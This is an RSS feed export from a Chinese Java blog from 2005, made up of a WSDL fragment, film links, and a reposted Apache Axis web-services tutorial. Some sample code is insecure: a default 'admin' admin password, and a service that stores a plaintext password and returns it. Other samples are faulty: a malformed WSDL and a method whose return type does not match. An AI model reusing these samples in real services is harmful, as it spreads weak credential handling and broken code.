<P><BR>&lt;definitions <BR>&nbsp;name="HelloService" <BR>&nbsp;targetNamespace="<A href="http://oracle.j2ee.ws/ejb/Hello">http://oracle.j2ee.ws/ejb/Hello</A>"<BR>&nbsp;xmlns="<A href="http://schemas.xmlsoap.org/wsdl/">http://schemas.xmlsoap.org/wsdl/</A>" <BR>&nbsp;xmlns:tns="<A href="http://oracle.j2ee.ws/ejb/Hello">http://oracle.j2ee.ws/ejb/Hello</A>" <BR>&nbsp;xmlns:mime="<A href="http://schemas.xmlsoap.org/wsdl/mime/">http://schemas.xmlsoap.org/wsdl/mime/</A>" <BR>&nbsp;xmlns:soap12="<A href="http://schemas.xmlsoap.org/wsdl/soap12/">http://schemas.xmlsoap.org/wsdl/soap12/</A>" <BR>&nbsp;xmlns:ns1="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;xmlns:xsd="<A href="http://www.w3.org/2001/XMLSchema">http://www.w3.org/2001/XMLSchema</A>" <BR>&nbsp;xmlns:soap="<A href="http://schemas.xmlsoap.org/wsdl/soap/">http://schemas.xmlsoap.org/wsdl/soap/</A>"&gt; <BR>&nbsp;&lt;types&gt; <BR>&nbsp; &lt;schema elementFormDefault="qualified" <BR>&nbsp; targetNamespace="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;&nbsp; xmlns="<A href="http://www.w3.org/2001/XMLSchema">http://www.w3.org/2001/XMLSchema</A>" <BR>&nbsp;&nbsp; xmlns:soap11-enc="<A href="http://schemas.xmlsoap.org/soap/encoding/">http://schemas.xmlsoap.org/soap/encoding/</A>"<BR>&nbsp;&nbsp; xmlns:tns="<A href="http://oracle.j2ee.ws/ejb/Hello/types">http://oracle.j2ee.ws/ejb/Hello/types</A>" <BR>&nbsp;&nbsp; xmlns:wsdl="<A href="http://schemas.xmlsoap.org/wsdl/">http://schemas.xmlsoap.org/wsdl/</A>" <BR>&nbsp;&nbsp; xmlns:xsi="<A href="http://www.w3.org/2001/XMLSchema-instance">http://www.w3.org/2001/XMLSchema-instance</A>"&gt; <BR>&nbsp; &lt;complexType name="sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;message name="HelloServiceInf_sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;part name="parameters"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element="ns1:sayHelloElement"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/message&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;message name="HelloServiceInf_sayHelloResponse"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;part name="parameters" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; element="ns1:sayHelloResponseElement"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/message&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;portType name="HelloServiceInf"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;operation name="sayHello"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;input message="tns:HelloServiceInf_sayHello"/&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;output message="tns:HelloServiceInf_sayHelloResponse"/&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/operation&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/portType&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;sequence&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;element name="String_1" nillable="true" type="string"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/sequence&gt; <BR>&nbsp; &lt;/complexType&gt; <BR>&nbsp; &lt;complexType name="sayHelloResponse"&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;sequence&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;element name="result" nillable="true" type="string"/&gt; <BR>&nbsp;&nbsp;&nbsp; &lt;/sequence&gt; <BR>&nbsp; &lt;/complexType&gt; <BR>&nbsp; &lt;element name="sayHelloElement" type="tns:sayHello"/&gt; <BR>&nbsp; &lt;element name="sayHelloResponseElement" <BR>&nbsp;&nbsp;&nbsp; type="tns:sayHelloResponse"/&gt; <BR>&nbsp; &lt;/schema&gt;<BR>&nbsp;&lt;/types&gt; <BR>&nbsp;&lt;binding name="HttpSoap11Binding" type="tns:HelloServiceInf"&gt; <BR>&nbsp;&lt;soap:binding style="document" <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; transport="<A href='http://schemas.xmlsoap.org/soap/http"/'>http://schemas.xmlsoap.org/soap/http"/</A>&gt; <BR>&nbsp;&lt;operation name="sayHello"&gt;<BR>&nbsp;&nbsp; &lt;soap:operation <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; soapAction="<A href='http://oracle.j2ee.ws/ejb/Hello:sayHello"/'>http://oracle.j2ee.ws/ejb/Hello:sayHello"/</A>&gt; <BR>&nbsp;&nbsp; &lt;input&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:body use="literal" parts="parameters"/&gt; <BR>&nbsp;&nbsp; &lt;/input&gt;<BR>&nbsp;&nbsp; &lt;output&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:body use="literal" parts="parameters"/&gt; <BR>&nbsp;&nbsp; &lt;/output&gt; <BR>&nbsp;&lt;/operation&gt; <BR>&nbsp;&lt;/binding&gt; <BR>&nbsp;&lt;service name="HelloService"&gt; <BR>&nbsp;&nbsp; &lt;port name="HttpSoap11" binding="tns:HttpSoap11Binding"&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;soap:address location="REPLACE_WITH_ACTUAL_URL"/&gt; <BR>&nbsp;&nbsp; &lt;/port&gt;<BR>&lt;/service&gt;<BR>&lt;/definitions&gt; </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个WSDL，你需要注意HelloService ，包括他的包括端口、操作、信息类型等。这个WSDL 使web service 和客户端，能够自动的产生客户端代理。</P>
<P>在这个web services有两个主要的技术，一个是SOAP，它是调用web service，一个是UDDI它提供web service的本地注册。</P>
<P>未完待续</P></DIV></SPAN></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10374.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-17 20:40 <a href="http://www.blogjava.net/kapok/archive/2005/08/17/10374.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Film links</title><link>http://www.blogjava.net/kapok/archive/2005/08/16/10285.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 16 Aug 2005 14:39:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/16/10285.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10285.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/16/10285.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10285.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10285.html</trackback:ping><description><![CDATA[1.<BR>Monster in law<BR><A href="http://www.monsterinlaw.com/">http://www.monsterinlaw.com/</A><BR><BR>2.<BR>还真有万能钥匙这一说： skeleton key<BR><A href="http://www.theskeletonkeymovie.com/">http://www.theskeletonkeymovie.com/</A><BR><BR>3.<BR>March of the Penguins<BR><A href="http://www.marchofthepenguins.com/">http://www.marchofthepenguins.com/</A><BR><BR>4.<BR>Must Love Dogs<BR><A href="http://www.mustlovedogsmovie.com/" target=_blank>www.mustlovedogsmovie.com</A><BR><BR>5.<BR>Madagascar<BR><A href="http://www.madagascar-themovie.com/main.php" tarhet="_blank">www.madagascar-themovie.com</A><BR><BR>6.<BR>Wedding Crashers<BR><A href="http://www.weddingcrashersmovie.com/" target=_blank>www.weddingcrashersmovie.com</A><BR><img src ="http://www.blogjava.net/kapok/aggbug/10285.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-16 22:39 <a href="http://www.blogjava.net/kapok/archive/2005/08/16/10285.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Visual CHM和jd2chm不错</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10068.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 05:15:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10068.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10068.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10068.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10068.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10068.html</trackback:ping><description><![CDATA[Visual CHM和jd2chm不错<img src ="http://www.blogjava.net/kapok/aggbug/10068.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 13:15 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10068.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> AXIS实现Web服务深入篇</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10064.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10064.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10064.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10064.html</trackback:ping><description><![CDATA[<A href="http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/">http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/</A><BR><BR>一直使用J2EE从事移动业务方面的开发, <BR>2004 年 2 月 
<BLOCKQUOTE><ABSTRACT-EXTENDED>本文主要介绍使用service方式实现Web服务、复杂类型参数或者返回值以及面向消息/文档的服务类型，同时还会简单提及Web服务的会话管理以及安全问题等等。</ABSTRACT-EXTENDED></BLOCKQUOTE>
<P>前段时间我的一篇文章《应用AXIS开始Web服务之旅》介绍了如何通过AXIS这个项目来实现Web服务的功能。该文章主要介绍AXIS的结构、如何使用jws文件的方式开发一个简单的Web服务，并用了比较大的篇幅来介绍Web服务的客户端编程，应该说是使用AXIS开发Web服务的入门篇，本文假设你已经看过《应用AXIS开始Web服务之旅》并对AXIS有一定的基础，在这个基础上我们将要介绍的内容有几个方面包括使用service方式实现Web服务、复杂类型参数或者返回值以及面向消息/文档的服务类型，同时还会简单提及Web服务的会话管理以及安全问题等等。</P>
<P>在开始我们的文章之前，我们还需要搭建一个环境，我们需要一个支持Web服务的web应用程序并假设名字为axis，如何建立请参照《应用AXIS开始Web服务之旅》文章中的介绍。</P>
<P><A name=0><SPAN class=atitle2>使用定制发布编写Web服务</SPAN></A><BR></P>
<P>使用jws文件的方式编写Web服务具有方便、快捷的优点，它可以很快的将你已有的类发布成Web服务。但是更多的时候这并不是一个好的主意，因为这种做法引发的问题是我们必须要将已有类的源码发布出来，因为更多的时候我们并不想这样做；另外虽然你可以先用工具开发并调试完毕一个java文件后再改名为jws，但是这多少有些便扭，而且并不是类中的所有方法你都想发布成可通过Web服务来访问的，这时候你就必须将这些方法的修饰符改为不是public的，这就跟你原有的类不同步，以后的修改将会更加的麻烦。</P>
<P>在这里我把定制发布方式称为service方式，就好像JSP的出现不会使Servlet失宠的道理一样，有了jws，service方式还是有它的用武之地，而且是大放异彩。发布一个service方式的Web服务需要两部分内容：类文件以及Web服务发布描述文件。下面我们使用一个简单的例子来讲述这个过程。</P>
<P>首先我们需要一个service类，这个类跟普通的类没有任何区别，下面是我们实现一个城市便民服务的类，我们需要将CityService类的两个方法getZip和getTel发布成Web服务，编译该文件并把class文件拷贝到&lt;webapp&gt;/WEB-INF/classes对应目录下。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

Package lius.axis.demo;
/** 
  * 该类实现了城市服务，用于发布成Web服务 
  * @author Liudong 
  */
  
  public class CityService {
  /**     
    * 获取指定城市的邮编     
    * @param city     
    * @return     
    */
    public String getZip(String city) { 
 return "510630";
    }
    
    /**     
      * 获取指定城市的长途区号     
      * @param city     
      * @return     
      */ 
    
    public String getTel(String city) {
 return "020"; 
    }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>程序已经完成，下面是发布这个Web服务。打开&lt;webapp&gt;/WEB-INF/server-config.wsdd如果这个文件不存在则创建一个新的文件，内容如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;deployment xmlns="http://xml.apache.org/axis/wsdd/" 
	xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"&gt; 
 &lt;globalConfiguration&gt;  
  &lt;parameter name="adminPassword" value="admin"/&gt;  
  &lt;parameter name="attachments.implementation" 
  	value="org.apache.axis.attachments.AttachmentsImpl"/&gt;  
  &lt;parameter name="sendXsiTypes" value="true"/&gt;  
  &lt;parameter name="sendMultiRefs" value="true"/&gt;  
  &lt;parameter name="sendXMLDeclaration" value="true"/&gt;  
  &lt;parameter name="axis.sendMinimizedElements" value="true"/&gt;  
  &lt;requestFlow&gt;   
   &lt;handler type="java:org.apache.axis.handlers.JWSHandler"&gt;    
    &lt;parameter name="scope" value="session"/&gt;   
   &lt;/handler&gt;   
   &lt;handler type="java:org.apache.axis.handlers.JWSHandler"&gt;    
    &lt;parameter name="scope" value="request"/&gt;    
    &lt;parameter name="extension" value=".jwr"/&gt;   
   &lt;/handler&gt;  
  &lt;/requestFlow&gt; 
 &lt;/globalConfiguration&gt; 
 &lt;handler name="LocalResponder" type="java:org.apache.axis.transport.local.LocalResponder"/&gt; 
 &lt;handler name="URLMapper" type="java:org.apache.axis.handlers.http.URLMapper"/&gt; 
 &lt;handler name="Authenticate" type="java:org.apache.axis.handlers.SimpleAuthenticationHandler"/&gt;   

 &lt;service name="city" provider="java:RPC"&gt;  
  &lt;!-- 服务类名 --&gt;   
  &lt;parameter name="className" value="lius.axis.demo.CityService"/&gt;  
  &lt;!-- 允许访问所有方法 --&gt;  
  &lt;parameter name="allowedMethods" value="*"/&gt; 
 &lt;/service&gt;  
 &lt;transport name="http"&gt;  
  &lt;requestFlow&gt;   
   &lt;handler type="URLMapper"/&gt;   
   &lt;handler type="java:org.apache.axis.handlers.http.HTTPAuthHandler"/&gt;  
  &lt;/requestFlow&gt; 
 &lt;/transport&gt; 
 &lt;transport name="local"&gt;  
  &lt;responseFlow&gt;   
   &lt;handler type="LocalResponder"/&gt;  
  &lt;/responseFlow&gt; 
 &lt;/transport&gt;
&lt;/deployment&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其中粗斜体的部分是我们服务的配置信息，启动Tomcat并打开浏览求访问地址： http://localhost:8080/axis/services/city?wsdl ，下面是浏览器显示我们Web服务的WDSL数据。</P>
<P><A name=N1006F><B></B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/webservices/.backup/ws-deepaxis/image001.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/"> </P>
<P>当然了，这个过程比起jws方式来说是稍微麻烦一点，你可以把它想象成你发布一个servlet一样，创建servlet类然后在web.xml中加入配置信息。</P>
<P><A name=1><SPAN class=atitle2>处理复杂类型参数和返回值</SPAN></A><BR></P>
<P>之前我们做的演示程序都很简单，方法的参数和返回值都是简单类型的数据，但是在实际应用过程中往往没有这么简单。在使用面向对象的编程语言时，我们会希望数据类型可以是某个对象，比如我们提供一个接口用来发送短信息，那么我们希望接口的参数是一个消息对象，这个消息对象封装了一条信息的所有内容包括发送者、接收者、发送时间、优先级、信息内容等等，如果我们把每个内容都做成一个参数，那这个接口的参数可能会非常的多。因此封装成对象是很有必要的。</P>
<P>在使用Axis来编写Web服务时对复杂类型数据的处理同样也是非常简单。Axis要求复杂类型对象的编写必须符合JavaBean的规范，简单的说就是对象的属性是通过getter/setter方法来访问的。来看看下面这个简单的例子所输出的WSDL信息有何特殊的地方。为了简便，我们还是使用jws来编写，需要编写三个文件：sms.jws,Message.java,Response.java。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//文件名：sms.jws
import lius.axis.demo.*;

public class sms{  

/**  
  * 短信息发送Web服务接口  
  */
  
  public Response send(Message msg) throws Exception{
 System.out.println("CONTENT:"+msg.getContent());
 Response res = new Response();
 res.setMessage(msg);
 res.setCode(0);
 res.setErrorText("");
 return res;    
  } 
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//Message.javapackage lius.axis.demo;

/** 
  * 欲发送的信息 
  * @author Liudong 
  */
  
public class Message {
 private String from;
 private String to;
 private String content;
 private int priority;
 
 public String getContent() {
  return content;
 }
 
 public void setContent(String content) {
  this.content = content;
 } 
 
 public String getFrom() { 
  return from;
 }
 
 public void setFrom(String from) { 
  this.from = from;
 }    
 
 public int getPriority() {
  return priority;
 }
 
 public void setPriority(int priority) {
  this.priority = priority;
 } 
 
 public String getTo() {
  return to;
 } 
 
 public void setTo(String to) {
  this.to = to;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

//Response.javapackage lius.axis.demo;

/** 
  * 信息发送回应，在这里我们做了一个对Message 类的引用 
  * @author Liudong 
  */
  
public class Response {
 private int code; 
 
 //发送结果代码 
 private String errorText;
 private Message message;
 
 //发送的原始信息  
 public int getCode() {
  return code;
 } 
 
 public void setCode(int code) {
  this.code = code;
 } 
 
 public String getErrorText() { 
  return errorText;
 } 
 
 public void setErrorText(String errorText) {   
  this.errorText = errorText;
 } 
 
 public Message getMessage() {
  return message;
 } 

 
 public void setMessage(Message message) { 
  this.message = message;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>编译Message.java和Response.java并将编译后的类文件拷贝到axis/WEB-INF/classes对应包的目录下，sms.jws拷贝到axis目录，访问http://localhost:8080/axis/sms.jws?wsdl即可看到WSDL信息，这些信息与之前不同的在于下面列出的内容(注意粗斜体部分内容)：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;wsdl:types&gt;
&lt;schema targetNamespace="http://demo.axis.lius" xmlns="http://www.w3.org/2001/XMLSchema"&gt;
  &lt;import namespace="http://schemas.xmlsoap.org/soap/encoding/" /&gt;
  &lt;complexType name="Message"&gt;
    &lt;sequence&gt;
      &lt;element name="content" nillable="true" type="xsd:string" /&gt;
      &lt;element name="from" nillable="true" type="xsd:string" /&gt;
      &lt;element name="priority" type="xsd:int" /&gt;
      &lt;element name="to" nillable="true" type="xsd:string" /&gt;
    &lt;/sequence&gt;
  &lt;/complexType&gt;
  &lt;complexType name="Response"&gt;
    &lt;sequence&gt;
      &lt;element name="code" type="xsd:int" /&gt;
      &lt;element name="errorText" nillable="true" type="xsd:string" /&gt;
      &lt;element name="message" nillable="true" type="tns1:Message" /&gt;
    &lt;/sequence&gt;
  &lt;/complexType&gt;
&lt;/schema&gt;
&lt;/wsdl:types&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>这里定义了两个类型Message和Response，就是我们接口的参数类型以及返回值的类型。现在再使用WSDL2Java工具来生成客户端Helper类看看Axis帮我们做了什么？它会自动帮我们生成两个类Message和Response，包名与类名都跟我们刚才定义的一致，你可以打开看看跟我们刚才编写的类差别多大？这两个类添加了很多方法例如getTypeDesc、getSerializer、getDeserializer等等。现在你就可以随便写个小程序测试一下了，我们就不在累赘了。Service方式Web服务的处理跟jws是类似的，不同在于service方式需要在server-config.wsdd添加类型的映射配置，下面给出一个配置的示例，读者可以根据实际情况进行修改。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>


&lt;service name="SmsService" provider="java:RPC"&gt;
 &lt;parameter name="className" value="lius.axis.demo.SmsService"/&gt;
 &lt;parameter name="allowedMethods" value="send"/&gt;
 &lt;operation name="send" returnType="ns:Response"&gt;
  &lt;parameter name="msg" type="ns:Message"/&gt;
 &lt;/operation&gt;
 
&lt;!-- 这里定义了方法的参数以及返回值 --&gt;

 &lt;typeMapping deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"   
 encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
 qname="ns:Message"
 serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"
 type="java:lius.axis.demo.Message" xmlns:ns="SmsService"/&gt;
 
 &lt;typeMapping
 deserializer="org.apache.axis.encoding.ser.BeanDeserializerFactory"    
 	encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
 qname="ns:Response"    
 serializer="org.apache.axis.encoding.ser.BeanSerializerFactory"    
 type="java:lius.axis.demo.Response" xmlns:ns="SmsService"/&gt;
 &lt;/service&gt;

</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其他编程语言也都可以借助语言本身所附带的工具来生成这些复杂类型，如果你嫌麻烦的话可以使用XML来描述这些复杂类型，这样就简单很多。</P>
<P><A name=2><SPAN class=atitle2>面向消息/文档的Web服务类型</SPAN></A><BR></P>
<P>我们前面介绍的服务方式是基于RPC(远程过程调用)方式，这也是Web服务最常用的方式。面向消息/文档的的类型跟RPC不同的是它提供了一个更底层的抽象，要求更多的编程工作。客户端可以传入任何的XML文档，得到的响应不一定是SOAPEnvelope，可以返回任何它所需要的东西，甚至不返回。虽然这对开发者来说非常的灵活，但是这种通讯类型在实际的应用中并不常见。面向消息/文档的Web服务主要适合于下面几种情况，比如批量处理，基于表单的数据导入，有需要返回非XML数据时，Web服务器实现中要求直接访问传输层等等。</P>
<P>对于RPC类型的服务需要在全局配置文件server-config.wsdd中设置一行&lt;service ... provider="java:RPC"&gt;，其中RPC就是服务的方式，而对于面向消息/文档的服务类型那java:RPC就要替换成为Message，并且面向消息/文档的服务类型必须通过WSDD配置来发表。对于完成面向消息服务的类，其方法必须具有以下的格式：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

public Element[] methodName(Element [] elems)
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>其中methodName为你自定义的方法名。在Axis的目录下可以找到MessageService.java，这就是一个完成了该类型的服务类，该服务的在WSDD中的配置如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

&lt;deployment name="test" xmlns="http://xml.apache.org/axis/wsdd/"      
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:xsi="http://www.w3.org/2000/10/XMLSchema-instance"&gt;
 &lt;service name="MessageService" style="message"&gt;
  &lt;parameter name="className" value="samples.message.MessageService"/&gt;
  &lt;parameter name="allowedMethods" value="methodName"/&gt; 
 &lt;/service&gt;
&lt;/deployment&gt;
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>不管是什么内容的Web服务，对客户端来说都是一样的，使用WSDL2Java来生成的客户端Helper类的MessageService接口如下：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

/** 
  * MessageService.java 
  * 
  * This file was auto-generated from WSDL 
  * by the Apache Axis WSDL2Java emitter. 
  */
  
package liudong.axis.services.MessageService;

public interface MessageService extends java.rmi.Remote {
 public java.lang.Object echoElements(java.lang.Object part) throws java.rmi.RemoteException;
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P><A name=3><SPAN class=atitle2>我从哪里可以获得…</SPAN></A><BR></P>
<P>Axis文档中有一句话很有意思，对于绝大多数类似于"我从哪里可以获得…"的问题，答案都在MessageContext类中。通过MessageContext类你可以获取下面几个内容，一个AxisEngine实例的引用；请求以及回应的信息；验证信息以及对于Servlet规范中的实例引用等等。例如当我们需要客户端的IP地址时我们可以通过下面代码片段获取：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

/**      
  * 获取客户端请求     
  * @return     
  */
  
private HttpServletRequest getRequest() throws Exception{
 MessageContext context = MessageContext.getCurrentContext();
 HttpServletRequest req = (HttpServletRequest)context.getProperty(HTTPConstants.MC_HTTP_SERVLETREQUEST);        
 return req.getRemoteHost();
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>在类HTTPConstants中，所有以MC_开头的常量就是你所可以获取到的信息，例如上面通过MC_HTTP_SERVLETREQUEST获取对应Servlet规范中的HTTP请求。更详细的信息可以通过查询API文档获取。</P>
<P><A name=4><SPAN class=atitle2>Web服务会话管理</SPAN></A><BR></P>
<P>在Web服务中我们可以借助HTTP以及HTTP Cookie来处理会话信息。前面我们介绍了大多数对Axis的管理都是通过MessageContext实例来完成的。下面的例子首先验证用户的登录帐号与口令如果正确则在会话中保存用户的登录信息，并提供接口供客户端获取密码。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

import org.apache.axis.MessageContext;
import org.apache.axis.session.Session;

public class login{ 
 public boolean login(String user, String pass){ 
  MessageContext mc = MessageContext.getCurrentContext();
  Session session = mc.getSession();
  session.set("user",user);
  
  //保存用户名与口令
  session.set("pass",pass);
  return true;
 }
 
 public String getPassword(String user){
  MessageContext mc = MessageContext.getCurrentContext();
  Session session = mc.getSession();
  if(user.equals(session.get("user"))) 
   return (String)session.get("pass");
  return null;
 }
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>对于服务器端来讲只需要通过MessageContext实例获取Session对象即可进行会话级的数据保存或者读取，而对于通过Axis的WSDL2Java工具生成的客户端来讲还需要做一个特殊的设置，请看下面客户端代码片段。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>

public static void main(String[] args) throws Exception {
 LoginServiceLocator lsl = new LoginServiceLocator();
        lsl.setMaintainSession(true);
        Login login = lsl.getlogin();
        if(login.login("ld","haha")) 
  System.out.println("PWD:"+login.getPassword("ld"));
        else  
  System.out.println("Login failed.");
}
</CODE></PRE></TD></TR></TBODY></TABLE>
<P>代码中的粗体部分就是让Axis帮助我们自动处理服务器返回的Cookie信息以保证会话正常工作。</P>
<P><A name=5><SPAN class=atitle2>保护Web服务</SPAN></A><BR></P>
<P>网络的安全问题永远是需要最先考虑的问题，可是怎么能让我们的Web服务更加安全呢？为此Axis建议可以根据实际的需要采取以下的几种方法。</P>
<OL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>使用HTTPS传输方式 该方式需要在Web服务器上进行配置同时需要客户端的支持。该措施有效的防止数据在网络传输过程中被窥视。 
<LI>重命名Axis已有的一些名字，例如AdminService、AxisServlet，删除Axis目录下一些无用的程序，例如happyaxis.jsp以及一些无用的jar包等。 
<LI>通过设置axis.enableListQuery的值为false来停止AxisServlet列出所有服务的功能。 
<LI>禁止自动生成WSDL的功能 
<LI>使用过滤器来增加一些验证功能，例如客户端的地址等。 </LI></OL>
<P>最常用的不外乎上面几个，至于更详细的资料可以参考Axis解压目录下的docs/reference.html文件的详细介绍。</P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>《应用AXIS开始Web服务之旅》 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-startaxis/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.ibm.com/developerworks/cn/webservices/ws-startaxis/index.html</A> <BR><BR>
<LI>IBM开发者站点Web服务专区 <A href="http://www-128.ibm.com/developerworks/cn/webservices/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.ibm.com/developerworks/cn/webservices</A> <BR><BR>
<LI>Apache网站AXIS项目 <A href="http://ws.apache.org/axis/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://ws.apache.org/axis/</A> <BR><BR>
<LI>W3C之Web服务 <A href="http://www.w3.org/2002/ws/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.w3.org/2002/ws/</A> <BR></LI></UL>
<P></P>
